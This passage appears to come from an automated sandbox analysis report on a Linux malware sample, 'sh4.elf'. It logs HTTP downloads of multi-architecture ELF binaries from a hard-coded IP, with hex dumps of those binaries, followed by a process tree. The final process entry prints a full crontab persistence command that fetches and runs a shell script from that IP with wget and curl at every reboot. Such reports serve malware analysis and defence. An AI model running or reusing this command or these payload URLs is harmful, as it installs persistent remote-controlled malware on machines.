Mar 31, 2025 14:08:43.582035065 CEST	1031	IN	Data Raw: 00 d0 88 1d 00 01 39 3d 00 01 98 03 00 04 42 40 00 c0 7d 69 02 a6 8b e9 00 01 38 89 00 01 3b ab ff ff 7f 9d f8 00 41 9c 00 a8 3b 84 00 01 3a e3 00 08 7c 7e 1b 78 3b 60 00 00 48 00 00 38 41 82 00 90 7c 1f e0 ae 7c 7f e2 14 39 23 00 01 98 1e 00 04 Data Ascii: 9=B@}i8;A;:\|~x;`H8A\|\|9#4;At\|x;A`88H5;{~xx~xHl]}Q:@HU8~x#xEx~xx~xK/A~xHE/A/@(;W
Mar 31, 2025 14:08:43.582087040 CEST	1031	IN	Data Raw: 7b 1b 78 38 00 00 05 39 29 35 b0 80 7c 1c 08 91 3b 00 00 54 84 10 3a 98 1b 00 04 38 84 00 04 48 00 ab 05 89 3d 1c 04 7c 6b 1b 78 38 80 00 08 38 09 00 01 55 29 10 3a 7f 69 59 2e 38 60 00 01 91 7c 1c 08 98 1d 1c 04 48 00 a9 6d 88 9d 1c 04 3d 20 10 Data Ascii: {x89)5\|;T:8H=\|kx88U):iY.8`\|Hm= \|{x89)2X\|;T:8H=\|kx88U):iY.8`\|H= \|{x89)$8\|;T:8H]=\|kx88U):iY.8`\|H

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	48286	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:49.049242020 CEST	159	OUT	GET /bins/sh4 HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:49.330188990 CEST	1031	IN	HTTP/1.1 200 OK Date: Mon, 31 Mar 2025 12:08:49 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sun, 30 Mar 2025 19:26:07 GMT ETag: "10c94-6319446740896" Accept-Ranges: bytes Content-Length: 68756 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 02 00 2a 00 01 00 00 00 a0 01 40 00 34 00 00 00 64 0a 01 00 09 00 00 00 34 00 20 00 03 00 28 00 0e 00 0d 00 01 00 00 00 00 00 00 00 00 00 40 00 00 00 40 00 0c f9 00 00 0c f9 00 00 05 00 00 00 00 00 01 00 01 00 00 00 0c f9 00 00 0c f9 41 00 0c f9 41 00 b0 03 00 00 c0 66 00 00 06 00 00 00 00 00 01 00 51 e5 74 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 04 00 00 00 c6 2f e6 2f 22 4f f3 6e 00 a0 09 00 01 d1 02 c7 23 01 2a 40 98 00 00 00 01 d1 02 c7 23 01 2a 40 cc e0 00 00 e3 6f 26 4f f6 6e 0b 00 f6 6c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 86 2f 96 2f 11 d9 e6 2f 90 61 22 4f 18 21 16 8f f3 6e 0f d8 82 61 12 62 28 22 08 8d 04 71 12 28 0b 42 09 00 82 61 12 62 28 22 f8 8f 04 71 09 d1 18 21 02 89 08 d4 0b 41 09 00 01 e1 10 29 e3 6f 26 4f f6 6e f6 69 f6 68 0b 00 09 00 bc fc 41 00 24 f9 41 00 00 00 00 00 08 f9 40 00 09 00 09 00 e6 2f 12 d1 22 4f 18 21 04 8d f3 6e 10 d4 11 d5 0b 41 [TRUNCATED] Data Ascii: ELF@4d4 (@@AAfQtd//"On#@#*@o&Onl///a"O!nab("q(Bab("q!A)o&OnihA$A@/"O!nABa!!o&On+Ao&On@AAeff/F//A+A`@@@@@/Sa/Cc/s/u/Cg/w/Cfbv $Cbar#sTa"rTa'wTa#sTa&vTa"rTa'wTa#sTa&vTa"rTa'wTa#Ta&Ta"Pa'Caqa`CicCaq aCjCkCleCaqCmaCnybCaqaz{\|}~f`@/,\le<f,bl<fz!c@atx#`0),a%P+a" -Da&`.nmlkjih
Mar 31, 2025 14:08:49.330221891 CEST	1031	IN	Data Raw: 00 e4 e1 40 00 e4 e3 40 00 09 00 09 00 86 2f 43 60 96 2f 01 70 a6 2f 43 61 b6 2f 02 71 c6 2f 43 63 d6 2f 03 73 e6 2f 00 e2 d4 7f 42 2f 08 1f 19 1f 27 1f 3a 1f f7 50 f2 62 f8 53 2c 01 f9 56 fa 57 1c 61 60 65 30 62 1c 63 14 1f f9 e1 70 60 2c 62 03 Data Ascii: @@/C`/p/Ca/q/Cc/s/B/':PbS,VWa`e0bcp`,b%`3`@a11,mb<3mB,1<c#<c<d1C`@a11bL4mB,1Ld$LdB\nie,dC`=@a11`b=@mBL4,1Ld$a11b=mB,1m-ml`=@a11b<}B,1
Mar 31, 2025 14:08:49.334494114 CEST	1031	IN	Data Raw: 0c 60 cc 01 43 60 04 88 10 27 e8 8f 01 77 04 e6 f6 50 a3 67 f3 54 6d 47 f2 55 f1 56 0c 37 00 e0 bc 01 73 62 24 63 02 77 3a 21 14 0b 04 70 20 62 10 88 40 61 2a 21 10 24 04 74 50 61 74 62 2a 21 10 25 04 75 60 61 74 62 2a 21 10 26 e8 8f 04 76 a8 2a Data Ascii: `C`'wPgTmGUV7sb$cw:!p b@a!$tPatb!%u`atb!&veAdahqj@@@Rhax$cW@u:!VTw+vP baS!RPs"Rp apbW!Rw"RY a`byV!&RV a0bS!&sR
Mar 31, 2025 14:08:49.334530115 CEST	1031	IN	Data Raw: 21 01 71 30 21 01 71 30 21 01 71 01 e2 20 21 01 71 65 e2 20 21 01 71 32 e2 20 21 01 71 63 e2 20 21 01 71 d0 21 10 e3 fc 33 81 e2 30 63 01 71 30 21 01 71 e0 21 01 71 20 21 01 71 98 e2 20 21 01 71 3d e2 20 21 01 71 30 e2 20 21 01 71 b7 e2 20 21 01 Data Ascii: !q0!q0!q !qe !q2 !qc !q!30cq0!q!q !q !q= !q0 !q !q !q !q !qD !q{ !q# !q9 !q !qT !q !q0!q !q !q !qp!q !q !q0!q !jq !q !2 bq3 !q0c20!q b 3 !q0c
Mar 31, 2025 14:08:49.340176105 CEST	1031	IN	Data Raw: 18 e6 19 43 19 42 18 41 6d 48 7c 67 3b 22 38 d3 8b 21 7b 67 1b 22 7d 40 34 d7 0c 32 29 27 23 61 29 23 29 41 18 43 19 47 19 41 6d 42 7b 21 2b 23 3b 21 11 19 f5 50 93 65 2e d1 10 e6 ce 04 04 70 05 1f 0b 41 18 7b f6 50 a0 30 27 8d 18 79 21 d6 22 d4 Data Ascii: CBAmH\|g;"8!{g"}@42)'#a)#)ACGAmB{!+#;!Pe.pA{P0'y!"FQbP&P0Bc#d&OnmlkjihJideK6x8J@Un@@@@@ @@X@e@
Mar 31, 2025 14:08:49.340209007 CEST	1031	IN	Data Raw: d3 0b 43 08 e5 04 1f f3 50 15 40 54 8f c3 61 10 41 02 8f 13 67 70 a0 09 00 b3 63 f4 51 01 73 30 62 ff 77 04 71 78 27 67 8d 20 21 33 62 01 72 20 61 73 6b ff 7b 1c 68 83 3b 5e 8f 23 6a f4 51 f4 59 01 7a 08 71 15 1f 1f a0 00 ec 09 00 09 00 09 00 09 Data Ascii: CP@TaAgpcQs0bwqx'g !3br ask{h;^#jQYzqa1c!s3kD{ ba8#qsj !<zpah;70dtB\|)dYe,cs5@fQb2<#gw'@& aAd")DWafB=MD(A+$P!$Q/
Mar 31, 2025 14:08:49.342600107 CEST	1031	IN	Data Raw: 08 e5 1c 61 13 62 08 42 a6 02 01 71 0b 4b 10 28 80 65 03 62 8e d1 04 72 5c 65 92 64 12 20 08 45 05 e1 03 6a 10 22 0b 4c 04 75 80 61 01 e4 02 29 08 e5 1c 61 13 62 08 42 a6 02 01 71 0b 4b 10 28 80 65 03 62 83 d1 04 72 5c 65 92 64 12 20 08 45 0a e1 Data Ascii: abBqK(ebr\ed Ej"Lua)abBqK(ebr\ed Ej"Lua)abBqK(ebxr\ed Ej"Lua)abBqK(ebmr\ed Ej"Lua)abBqK(ebbr\ed Ej"Lua)
Mar 31, 2025 14:08:49.342633963 CEST	1031	IN	Data Raw: 61 18 41 1b 23 0c 61 38 17 19 4e 18 41 18 4b 19 42 1b 2e 2b a0 2b 2b 00 02 09 00 fc ae 40 00 20 15 40 00 ff ff 00 00 10 1f 42 00 00 ac 40 00 d4 ab 40 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 84 51 14 1a df 58 60 Data Ascii: aA#a8NAKB.+++@ @B@@QX`Vx1)y)c8y)@QAHQbPA&`aqcy @$sf 4%vac(0qTb0!qX8a!qjq!q!iQr&z!:yaq@1!/"RPfW/v
Mar 31, 2025 14:08:49.342665911 CEST	1031	IN	Data Raw: 29 af 09 00 09 00 09 00 09 00 09 00 09 00 09 00 15 d3 48 e0 fe 05 0b 43 08 74 49 af 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 fc 37 72 50 72 51 08 70 42 71 01 1f 12 2f cd ae 09 00 00 40 18 fc 09 00 ff ff 00 00 00 65 40 00 40 78 Data Ascii: )HCtI7rPrQpBq/@e@@x@`O@O@@`f@/Ld/sh/li////"OZETAXdeJ`UdJedeJ@`deJ`KdJedeFJmdeJl@2
Mar 31, 2025 14:08:49.342699051 CEST	1031	IN	Data Raw: d1 a3 68 0a 78 a3 64 c1 28 0b 41 14 e5 67 d2 93 64 01 28 93 68 0a 78 14 e5 0b 42 c1 28 64 d3 b3 61 01 28 04 71 11 66 b3 68 06 78 93 64 f1 57 b3 65 6d 66 0b 43 c1 28 ef 51 f8 7f 01 28 d7 01 f6 50 02 e1 a4 59 1a 02 fb 54 f2 56 0c 32 aa 97 23 63 02 Data Ascii: hxd(Agd(hxB(da(qfhxdWemfC(Q(PYTV2#cs"#U"/AePRp#0H4XBQbV)BEBE'#l1qaGCmHa{"=#a@;"<2P)'#a)#)ACGAmB{!+#;!g
Mar 31, 2025 14:08:49.556472063 CEST	1031	IN	Data Raw: f4 52 15 42 fe 8f 00 e1 1f 1d 00 e0 18 ee e7 00 03 61 f5 50 08 41 f3 56 1a 03 1e 09 40 e0 93 62 6c 33 14 72 33 61 26 0f 14 71 10 62 1f e1 16 32 01 89 92 a0 09 00 f7 50 ff 88 01 8b bd a0 09 00 6e d1 fa 50 10 30 01 8b c1 a0 09 00 d2 91 fd 50 10 30 Data Ascii: RBaPAV@bl3r3a&qb2PnP0P0aVAbBc"h&saqj!!=kQzQ!=dVF]Acd]hx!(dFY(x@(eBuQ(ePT1/NAfPRp#0jj

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	48288	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:50.634248018 CEST	161	OUT	GET /bins/sparc HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:50.924339056 CEST	1031	IN	HTTP/1.1 200 OK Date: Mon, 31 Mar 2025 12:08:50 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sun, 30 Mar 2025 19:26:09 GMT ETag: "19454-63194469da0e1" Accept-Ranges: bytes Content-Length: 103508 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 00 02 00 02 00 00 00 01 00 01 01 c4 00 00 00 34 00 01 91 fc 00 00 00 00 00 34 00 20 00 04 00 28 00 0f 00 0e 00 00 00 01 00 00 00 00 00 01 00 00 00 01 00 00 00 01 6c 60 00 01 6c 60 00 00 00 05 00 01 00 00 00 00 00 01 00 01 80 00 00 03 80 00 00 03 80 00 00 00 04 60 00 00 75 a0 00 00 00 06 00 01 00 00 00 00 00 07 00 01 80 48 00 03 80 48 00 03 80 48 00 00 00 00 00 00 00 08 00 00 00 04 00 00 00 04 64 74 e5 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 04 9d e3 bf 98 40 00 00 28 01 00 00 00 40 00 54 8c 01 00 00 00 81 c7 e0 08 81 e8 00 00 9d e3 bf 98 23 00 00 e1 c2 0c 60 60 80 a0 60 00 12 80 00 19 21 00 00 e0 c2 04 22 14 c4 00 40 00 80 a0 a0 00 22 80 00 0b 03 00 00 00 82 00 60 04 9f c0 80 00 c2 24 22 14 c2 04 22 14 c4 00 40 00 80 a0 a0 00 12 bf ff fb 82 00 60 04 03 00 00 00 82 10 60 00 80 a0 60 00 02 80 00 06 82 10 20 01 11 00 00 e0 7f ff bf b3 90 12 20 00 82 10 20 01 c2 2c 60 60 81 c7 e0 08 81 e8 00 00 9d e3 bf 98 81 c7 [TRUNCATED] Data Ascii: ELF44 (l`l``uHHHdtQ@(@T#```!"@"`$""@``` ,```` `dX`X``@#X\X@"#8@C@.`. `. `. `. ` .` .` /``. . ./``. . ./`P aP @@
Mar 31, 2025 14:08:50.924420118 CEST	1031	IN	Data Raw: 40 04 83 36 a0 02 c6 0e 40 03 c4 0b c0 01 88 1f 40 02 c2 0e 00 00 c4 0e 20 01 82 19 00 01 84 1f 00 02 c2 2e 20 10 c4 2e 20 11 c2 0e 20 02 c4 0e 20 03 82 18 c0 01 84 1e c0 02 c2 2e 20 12 c4 2e 20 13 b4 06 a0 01 80 a6 a0 2c 12 bf ff e1 b0 06 20 04 Data Ascii: @6@@ . . . . , `0 @ (`@((`&& (` 0`(`7` (` ##/ 3(`
Mar 31, 2025 14:08:50.924854994 CEST	1031	IN	Data Raw: 10 00 19 88 10 20 00 c2 08 c0 00 c4 0c 00 01 c2 08 e0 04 c4 28 c0 00 c4 0c 00 01 c2 08 e0 08 c4 28 e0 04 c4 0c 00 01 c2 08 e0 0c c4 28 e0 08 c4 0c 00 01 c4 28 e0 0c 88 01 20 01 82 09 20 ff 80 a0 60 04 12 bf ff f1 86 00 e0 01 98 0c 60 ff 86 10 00 Data Ascii: (((( ``+ @( ( @( (` `` ` @@`.@ `
Mar 31, 2025 14:08:50.924887896 CEST	1031	IN	Data Raw: c2 2f bf da 84 10 20 30 82 10 3f c8 c4 2f bf d9 c2 2f bf dc 84 10 3f ef 82 10 20 44 c4 2f bf db c2 2f bf de 84 10 20 03 82 10 20 23 c4 2f bf dd c2 2f bf e0 84 10 20 7b 82 10 3f b4 86 10 3f a8 ec 2f bf c5 c6 2f bf cb ea 2f bf c6 e8 2f bf c7 e6 2f Data Ascii: / 0?//? D// #// {??////////// 9?/////////?/?///??// ?//??// j
Mar 31, 2025 14:08:50.925246954 CEST	1031	IN	Data Raw: e8 40 00 32 ea c0 27 bf ec c2 0e e0 14 ac 05 a0 01 80 a0 60 1f 18 bf ff de b4 06 a0 18 40 00 15 f7 e0 06 e0 10 c2 0e e0 14 91 32 00 01 90 02 00 10 92 10 00 1b d0 26 e0 04 94 10 20 10 40 00 32 e4 d0 04 c0 11 a6 04 e0 04 80 a6 00 16 12 bf ff d8 b6 Data Ascii: @2'`@2& @2 , @ 6@38@@ 0` @3h $? @ ``@
Mar 31, 2025 14:08:50.925280094 CEST	1031	IN	Data Raw: 00 08 88 04 40 10 86 10 00 08 c2 04 00 00 c2 20 e0 04 c2 20 e0 10 82 10 20 02 c4 0c 20 04 c2 30 c0 00 c4 28 e0 14 a0 04 20 05 b2 06 7f fb 80 a4 00 04 12 bf ff f6 86 00 e0 18 80 a6 60 00 02 80 00 41 b0 10 20 00 c2 4c 00 00 a4 06 7f ff 80 a0 60 00 Data Ascii: @ 0( `A L`1` @51` . @* @!`, @ @
Mar 31, 2025 14:08:50.927902937 CEST	1031	IN	Data Raw: 2a 20 04 c2 22 00 00 92 02 60 01 d0 04 a0 80 40 00 34 df 93 2a 60 02 c4 0c 20 7c 82 08 a0 ff 84 00 a0 01 83 28 60 02 e2 22 00 01 c4 2c 20 7c d0 24 a0 80 92 10 20 08 40 00 34 8c 90 10 20 01 84 10 20 05 03 00 00 4c 82 10 61 9c d2 0c 20 7c a2 10 00 Data Ascii: * "`@4` \|(`", \|$ @4 La \| "`@4` \|(`", \|$ @4w Kb@ \| "`@4*` \|(`", \|$ @4b H`
Mar 31, 2025 14:08:50.927936077 CEST	1031	IN	Data Raw: 96 10 20 00 7f ff fe 86 90 10 00 1a 21 00 00 3f 92 10 00 1b 96 14 23 ff d0 2f bf c7 94 10 20 03 7f ff fe 7f 90 10 00 1a 92 10 00 1b 94 10 20 04 96 10 20 40 a2 10 00 08 7f ff fe 79 90 10 00 1a 92 10 00 1b d0 2f bf d7 94 10 20 05 96 10 20 01 7f ff Data Ascii: !?#/ @y/ s# m# g "a' [ U aN '
Mar 31, 2025 14:08:50.934819937 CEST	1031	IN	Data Raw: 04 d0 27 bf ec 92 07 bf f0 d0 27 bf e8 94 10 20 04 40 00 17 2a 90 10 00 11 90 04 60 06 92 07 bf ec 40 00 17 26 94 10 20 04 90 04 60 04 92 07 bf e8 40 00 17 22 94 10 20 02 90 04 60 0a 92 07 bf ea 40 00 17 1e 94 10 20 02 c6 07 bf b0 80 a0 e0 00 32 Data Ascii: '' @*`@& `@" `@ 2Y 6@6 6@64@(`(`4 0# 3 @/< `'
Mar 31, 2025 14:08:50.934851885 CEST	1031	IN	Data Raw: bf c4 e0 00 40 02 05 03 ff ff 84 10 a3 ff c2 04 00 00 82 08 40 02 05 10 00 00 89 28 e0 05 82 10 40 02 87 28 e0 03 05 3c 3f ff 84 10 a3 ff 88 21 00 03 82 08 40 02 05 01 40 00 82 10 40 02 c2 24 00 00 c6 0f bf cf f8 34 20 02 c6 2c 20 01 c2 0f bf df Data Ascii: @@(@(<?!@@@$4 , , 4 @ , 4 /(, 0$ @<?@@@@$ $ 4`,`4`,`
Mar 31, 2025 14:08:51.146663904 CEST	1031	IN	Data Raw: 10 20 04 96 10 20 80 7f ff fb 89 90 10 00 1a 92 10 00 1b d0 2f bf e7 94 10 20 05 96 10 20 00 7f ff fb 83 90 10 00 1a 92 10 00 1b 94 10 20 00 96 10 20 40 a8 10 00 08 7f ff fb 7d 90 10 00 1a 92 10 00 1b a6 10 00 08 94 10 20 01 96 10 20 01 7f ff fb Data Ascii: / @} w ap' ! j d " ^ X , 0`e7%,0`

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	48290	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:53.528851032 CEST	162	OUT	GET /bins/x86_64 HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:53.749907017 CEST	1031	IN	HTTP/1.1 200 OK Date: Mon, 31 Mar 2025 12:08:53 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sun, 30 Mar 2025 19:26:22 GMT ETag: "11d50-63194475b9904" Accept-Ranges: bytes Content-Length: 73040 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 02 00 3e 00 01 00 00 00 94 01 40 00 00 00 00 00 40 00 00 00 00 00 00 00 10 1a 01 00 00 00 00 00 00 00 00 00 40 00 38 00 03 00 40 00 0d 00 0c 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 38 08 01 00 00 00 00 00 38 08 01 00 00 00 00 00 00 00 10 00 00 00 00 00 01 00 00 00 06 00 00 00 38 08 01 00 00 00 00 00 38 08 51 00 00 00 00 00 38 08 51 00 00 00 00 00 c8 04 00 00 00 00 00 00 10 70 00 00 00 00 00 00 00 00 10 00 00 00 00 00 51 e5 74 64 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 48 83 ec 08 e8 5f 00 00 00 e8 ca ea 00 00 48 83 c4 08 c3 00 00 00 00 00 80 3d f9 0b 11 00 00 55 48 89 e5 74 10 eb 38 90 48 83 c0 08 48 89 05 4d 07 11 00 ff d2 48 8b 05 44 07 11 00 48 8b 10 48 85 d2 75 e4 b8 00 00 00 00 48 85 c0 74 0a bf 34 08 41 00 e8 c0 fe bf ff c6 05 b9 0b 11 00 01 c9 c3 66 66 66 90 66 66 90 55 b8 [TRUNCATED] Data Ascii: ELF>@@@8@@@8888Q8QpQtdH_H=UHt8HHMHDHHuHt4AfffffUHHt Q4AH=tHtXQIAff1I^HHPTHa@H@I@AFGFGFGFGFGFGFGFGFGFGFGDFDGNOVWFAHAGAHDGODODWu> @A @AD @AD @D2 @AD22NAD2ND2VHA,DFNDNDVxAWAVAUATUSH\|$HT$H\|$fffffHD
Mar 31, 2025 14:08:53.749963999 CEST	1031	IN	Data Raw: 24 b8 41 bb 1b 00 00 00 41 ba 1b 00 00 00 41 b9 1b 00 00 00 41 b8 1b 00 00 00 bf 1b 00 00 00 b9 1b 00 00 00 41 bf 1b 00 00 00 41 be 1b 00 00 00 0f b6 00 41 bd 1b 00 00 00 88 44 24 fb 0f b6 52 01 48 8b 44 24 b8 44 0f b6 64 24 fb 88 54 24 fc 0f b6 Data Ascii: $AAAAAAAD$RHD$Dd$T$@HT$D$RDl$AT$C$D\-1D$D$D$A0D$D$D$A1D$@T$D$AA1T$0D$D$D
Mar 31, 2025 14:08:53.750052929 CEST	1031	IN	Data Raw: 01 48 8d 7c 15 00 8d 50 02 83 c0 03 48 8d 4c 05 00 48 8d 74 15 00 31 d2 41 0f b6 00 49 83 c0 04 30 04 93 0f b6 07 48 83 c7 04 30 44 93 01 0f b6 06 48 83 c6 04 30 44 93 02 0f b6 01 48 83 c1 04 30 44 93 03 48 ff c2 48 83 fa 04 75 cb 45 84 e4 74 10 Data Ascii: H\|PHLHt1AI0H0DH0DH0DHHuEtHAI0AE0CAE0CAE0CAE0CAE0CAE0CAE0CAE0CAE0CAE0CAE0CAE0CAE0CAE0CAE0CM9H$H
Mar 31, 2025 14:08:53.750101089 CEST	1031	IN	Data Raw: 4c 24 35 41 8d 0c 17 81 e1 ff 00 00 00 29 d1 99 c1 ea 18 88 4c 24 36 89 c1 8b 44 24 0c 01 d1 81 e1 ff 00 00 00 29 d1 99 88 4c 24 41 89 c1 c1 ea 18 8b 44 24 10 01 d1 81 e1 ff 00 00 00 29 d1 99 c1 ea 18 88 4c 24 42 89 c1 01 d1 81 e1 ff 00 00 00 29 Data Ascii: L$5A)L$6D$)L$AD$)L$B)L$CD$N#D$\|$D$O9D$PD$QD$RD$D$SD$TD$UD$VD$WD$X)D$YL$^D$D$ZD$[D$\j)D$]L$_D$ )
Mar 31, 2025 14:08:53.750780106 CEST	1031	IN	Data Raw: c6 44 24 56 2e c6 44 24 57 80 c6 44 24 58 09 c6 44 24 59 e6 c6 44 24 5a 81 c6 44 24 5b 1c c6 44 24 5c 28 c6 44 24 5d 3b c6 44 24 5e c1 c6 44 24 5f 3c c6 44 24 60 0a c6 44 24 61 2b c6 44 24 62 64 c6 44 24 63 fb c6 44 24 64 e8 c6 44 24 65 eb e8 ef Data Ascii: D$V.D$WD$XD$YD$ZD$[D$\(D$];D$^D$_<D$`D$a+D$bdD$cD$dD$eD$1D$2D$3D$4D$5D$6D$7D$8BD;HH(uAHHHD$Ht$AI!Ht$
Mar 31, 2025 14:08:53.750813961 CEST	1031	IN	Data Raw: 00 c7 05 7a fa 10 00 00 00 00 00 85 ff 0f 85 f3 00 00 00 8b 3d 74 fa 10 00 c7 05 66 fa 10 00 00 00 00 00 85 ff 0f 85 cb 00 00 00 8b 3d 60 fa 10 00 c7 05 52 fa 10 00 00 00 00 00 85 ff 0f 85 a3 00 00 00 8b 3d 4c fa 10 00 c7 05 3e fa 10 00 00 00 00 Data Ascii: z=tf=`R=L>uz=<.uV=,u"HffnrC^rHfffff>rfff.rffffqrM
Mar 31, 2025 14:08:53.750844955 CEST	1031	IN	Data Raw: 39 cf 75 e8 89 c8 c3 48 8b 3e 48 85 ff 74 f5 e9 8e 92 00 00 90 90 40 0f b6 ff 85 ff 74 26 3a 56 08 74 24 4c 8d 46 10 45 31 c9 eb 10 41 0f b6 40 08 4c 89 c6 49 83 c0 10 38 c2 74 0b 41 ff c1 44 39 cf 75 e8 89 c8 c3 48 8b 3e 48 85 ff 74 f5 be 0a 00 Data Ascii: 9uH>Ht@t&:Vt$LFE1A@LI8tAD9uH>HtiS\@5HH=HL@H-HH@5HH=HH@H
Mar 31, 2025 14:08:53.750876904 CEST	1031	IN	Data Raw: c8 88 15 74 f2 10 00 e8 cb 9a 00 00 c6 40 08 0d 0f b6 35 64 f2 10 00 48 89 c3 48 8b 3d 62 f2 10 00 48 c7 00 00 0e 40 00 ff c6 48 c1 e6 03 e8 9c 9b 00 00 0f b6 15 41 f2 10 00 be 10 00 00 00 bf 01 00 00 00 48 89 05 38 f2 10 00 0f b6 ca ff c2 48 89 Data Ascii: t@5dHH=bH@HAH8H!x@5HH=H@HIHH%@5HH=H'@HH
Mar 31, 2025 14:08:53.751818895 CEST	1031	IN	Data Raw: 08 66 89 43 02 8b 44 24 2c 88 53 08 66 c1 c8 08 80 7c 24 2f 00 66 89 43 04 74 06 66 c7 43 06 40 00 c6 43 09 2f 8b 44 24 1c 66 c7 46 02 65 58 66 c7 41 0c 08 00 89 43 0c 48 63 44 24 64 48 8d 14 c5 00 00 00 00 48 c1 e0 05 48 29 d0 42 8b 44 38 10 c6 Data Ascii: fCD$,Sf\|$/fCtfC@C/D$fFeXfACHcD$dHHH)BD8C&ET$+CUL$.D$>ffEDMf\|$/fEtfE@EG\|$;E-E\|$$eHh[]A\A]A^A_HcT$4H$D$ ffff~D$4H$HL$XD$d
Mar 31, 2025 14:08:53.751852989 CEST	1031	IN	Data Raw: 00 ba 05 00 00 00 48 89 de 44 89 e7 88 44 24 2a e8 10 f4 ff ff b9 ff ff 00 00 ba 06 00 00 00 48 89 de 44 89 e7 88 44 24 2b e8 f7 f3 ff ff b9 ff ff 00 00 ba 07 00 00 00 48 89 de 44 89 e7 41 89 c7 e8 df f3 ff ff 31 d2 b9 00 02 00 00 48 89 de 44 89 Data Ascii: HDD$*HDD$+HDA1HDAHDD$01HDD$4HDD$D$ HL$T1AD$TmfD
Mar 31, 2025 14:08:54.029469013 CEST	1031	IN	Data Raw: 48 63 54 24 54 0f cb 48 8d 0c d5 00 00 00 00 48 c1 e2 05 48 29 ca 42 0f b6 4c 32 14 d3 e8 01 d8 0f c8 83 7c 24 1c ff 41 89 44 24 10 0f 85 c8 fe ff ff e8 43 40 00 00 66 83 7c 24 28 ff 41 89 44 24 0c 0f 85 be fe ff ff e8 2d 40 00 00 66 41 89 44 24 Data Ascii: HcT$THHH)BL2\|$AD$C@f\|$(AD$-@fAD$f-f\|$,fE@f\|$.fAD$,?\|$5fAE?\|$4Et$0I}@\|$ ]HX[]A\A]A^A_AWAVAUATAEUSHHhH

System Behavior

Analysis Process: sh4.elf PID: 5399, Parent PID: 5323

General

Start time (UTC):	12:08:02
Start date (UTC):	31/03/2025
Path:	/tmp/sh4.elf
Arguments:	/tmp/sh4.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

File Activities

File Opened

File Read

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Socket Listening

Socket Connecting

Chronological Activities

Analysis Process: sh4.elf PID: 5401, Parent PID: 5399

General

Start time (UTC):	12:08:02
Start date (UTC):	31/03/2025
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

File Activities

File Opened

File Read

File Written

Process Activities

Process Forked

Signal Sent

Thread Sleep

Chronological Activities

Analysis Process: sh4.elf PID: 5403, Parent PID: 5401

General

Start time (UTC):	12:08:02
Start date (UTC):	31/03/2025
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

File Activities

File Opened

File Deleted

File Read

File Written

Directory Enumerated

Process Activities

Signal Sent

Thread Sleep

Chronological Activities

Analysis Process: sh4.elf PID: 5428, Parent PID: 5401

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

File Activities

File Opened

File Deleted

File Read

File Written

Directory Enumerated

Process Activities

Thread Sleep

Chronological Activities

Analysis Process: sh4.elf PID: 5430, Parent PID: 5401

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Process Activities

Thread Sleep

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh4.elf PID: 5432, Parent PID: 5401

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Process Activities

Process Overlayed (Exec)

Thread Sleep

Chronological Activities

Analysis Process: sh PID: 5432, Parent PID: 5401

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") \| crontab -"
File size:	129816 bytes
